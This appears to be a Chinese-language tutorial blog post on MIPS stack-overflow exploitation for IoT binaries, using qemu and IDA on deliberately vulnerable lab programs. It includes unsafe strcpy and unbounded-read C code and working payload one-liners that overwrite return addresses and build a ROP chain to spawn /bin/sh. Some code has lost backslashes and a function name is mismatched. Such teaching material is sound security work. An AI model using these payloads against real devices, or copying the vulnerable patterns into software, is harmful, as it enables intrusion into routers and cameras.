MIPS 指令集主要使用在一些嵌入式的 IOT 设备中,比如路由器,摄像头。要对这些设备进行二进制的漏洞挖掘就需要有对 MIPS 有一定的熟悉。MIPS 指令集的栈溢出与 x86 指令集的有所不同,所以漏洞的利用方式也不太相同,但是溢出的思路是一样的:覆盖返回地址、劫持程序控制流、构造 ROP chain 、写 shellcode 等等。本文介绍一下最基本的 MIPS 指令集下的栈溢出的利用方法。
1.MIPS 指令系统大量使用寄存器,包括返回地址也是存放在 ra 寄存器中
2.没有堆栈直接操作的指令,也就是没有 push 和 pop 指令
3.所有指令都是 32 位编码,也就是说所有的数据和指令都是 4 字节对齐。
由于 MIPS 固定指令长度,所以造成其编译后的二进制文件和内存占用空间比 x86 的要大
MIPS 指令集使用 uclibc C 标准库,x86 使用 libc 的 C 标准库
基本的指令用法和两者的差异可以参考这里:
https://blog.csdn.net/gujing001/article/details/8476685
在 qemu 上开启一个调试端口(-g 指定端口号),在 IDA 上使用 Remote GDB debugger,填上端口号和主机名即可
./qemu-mipsel -g 23946 xxxx
具体的步骤可以看这里
https://www.jianshu.com/p/9841b412af37
叶子函数和非叶子函数是两个非常重要的概念,两者的一些特性照成了对栈溢出利用方式的差异。
在某个函数中,如果这个函数不调用其他函数,那么就这个称为叶子函数。反则这个函数就是非叶子函数
main 函数为叶子函数,函数中没有调用其他函数
int main(){
int i;
int sum = 0;
for(i=0;i<5;i++){
sum = sum +i;
}
}
main 函数为非叶子函数,函数调用了其他函数(printf)
int main(){
int i;
int sum = 0;
for(i=0;i<5;i++){
sum = sum +i;
printf("sum = %d",sum);
}
}
1.非叶子函数,有 sw $ra,xxx 的操作,在函数退出时,会将存放在栈上的原来存放 ra 寄存器的值重新赋值到 ra 寄存器中
2.叶子函数,没有 sw $ra,xxx 的操作
用一个代码
has_stack 函数存在栈溢出,该函数是非叶子函数,可以溢出到存放返回地址栈空间,劫持程序流
#include <stdio.h>
void vuln(){
system("/bin/sh");
}
void has_stack(char *src){
char dst[20] = {0};
strcpy(dst,src);
printf("copy success!n");
}
void main(int argc,char *argv[]){
has_stack(argv[1]);
}
在 has_stack 函数调用 strcpy 时,下断点
开启服务器的远程调试:
nick@nick-machine:~/iot/program$ ./qemu-mipsel -g 23946 StackOverflow2 aaaaaaaaaaaaaaaaaa
在 IDA 连接上 gdb调试后,F9 运行到断点处,单步两次。这里 strcpy 函数的两个参数 a0、a1,函数的作用是将 a1 地址处的数据复制到 a0 地址处
没有对 a1 的地址的数据长度做限制,所以存在栈溢出。
F8 单步步过以后,看到输入的数据已经存放到栈上了,也可以很清楚的看到返回地址的位置。
计算偏移,得到 exp:
./qemu-mipsel StackOverflow2 `python -c "print 'a'*28+'x90x03x40x00'"`
本地运行,成功拿到 shell
简单画了一个图,便于理解(这里的栈的高地址在上)
栈的生长方向为低地址向高地址,缓冲区溢出时就向 main 函数的区域溢出,控制程序流也就需要溢出到原来的 main + 30 处的栈空间
在 IDA 中寻找并构造 ROP chain 是使用 mipsrop.py 这个脚本来辅助 查找的:
https://github.com/devttys0/ida/tree/master/plugins/mipsrop
有几个主要的用法:
mipsrop.stackfinder() 寻找栈数据可控的 rop,建立和 a0、a1 寄存器的关系
mipsrop.summary() 列出所有的可用 rop
mipsrop.system() 寻找命令执行的的rop
mipsrop.find(xxx) 查找 find 函数参数的 rop,类似正则匹配
这里举一个《揭秘家用路由器 0day 漏洞挖掘技术》里面的例子,来详细说明 ROP chain 的使用方法
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
void do_system_0(int code,char *cmd)
{
char buf[255];
//sleep(1);
system(cmd);
}
void main()
{
char buf[256]={0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;
if(0 == stat("passwd",&fileData))
fileLen = fileData.st_size;
else
return 1;
if((fp = fopen("passwd","rb")) == NULL)
{
printf("Cannot open file passwd!n");
exit(1);
}
ch=fgetc(fp);
while(count <= fileLen)
{
buf[count++] = ch;
ch = fgetc(fp);
}
buf[--count] = 'x00';
if(!strcmp(buf,"adminpwd"))
{
do_system(count,"ls -l");
}
else
{
printf("you have an invalid password!n");
}
fclose(fp);
}
溢出是在 main 函数中,很明显 main 函数是一个非叶子函数,所以 main 的返回地址是存放在栈上的,可以覆盖到返回地址,控制程序流
但是当我要要调用 do_system_0 函数时,他的第二个参数是在 a1 当中的,我们可控的只有栈上的内容,那个要找的 ROP chain 也就是需要将栈上的内容赋值给 a1 寄存器的汇编语句
可以直接使用 mipsrop.stackfinder() 命令来找找看
Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x00401D40 | addiu $a1,$sp,0x58+var_40 | jr 0x58+var_4($sp) |
----------------------------------------------------------------------------------------------------------------
虚拟机中开启动态调试,IDA 连接上
./qemu-mipsel -g 23946 vuln_system
首先是 main 函数中的栈溢出,这里要调用 rop 的地址
因为存放 ra 寄存器的栈空间被覆盖,此时的 ra 寄存器存放的就为 rop 的地址了。
跳转到 rop 的栈空间时,我们再进行分析:
addiu $ai,$sp,0x58+var_40 等价于 a1 = sp+0x18
lw $ra,0x58+var_4($sp) 等价于 ra = sp+0x54
jr $ra 跳到返回地址
所以这里可以分析出来,栈的排布情况:a1 在上,ra 在下,中间还有一段空间需要填充
图中的此时已经是被我填充好了的情况
最后可以得到 exp
python -c "print 'a'*0x108+'x00x40x1Dx40'+'b'*24+'x2fx62x69x6e'+'x2fx73x68x00'+'c'*0x34+'x00x40x03x90'" > passwd
'a' * 0x108 在 main 函数的栈空间填充到返回地址
'x00x40x1Dx40' ROP chain 的地址
'b' * 24 填充为 do_system_0 的第一个参数
x2fx62x69x6e'+'x2fx73x68x00' /bin/sh 字符串
'c'*0x34 填充
'x00x40x03x90' 填充返回地址,调用 do_system_0 函数
将这个程序运行起来,会读取 passwd 中的内容填充到程序的栈空间中,这样就可以得到 shell
MIPS 的二进制漏洞挖掘中,最基础的栈溢出也就是一些简单的 rop 的利用,希望大家能多动手进行调试,在调试发现问题并慢慢进步~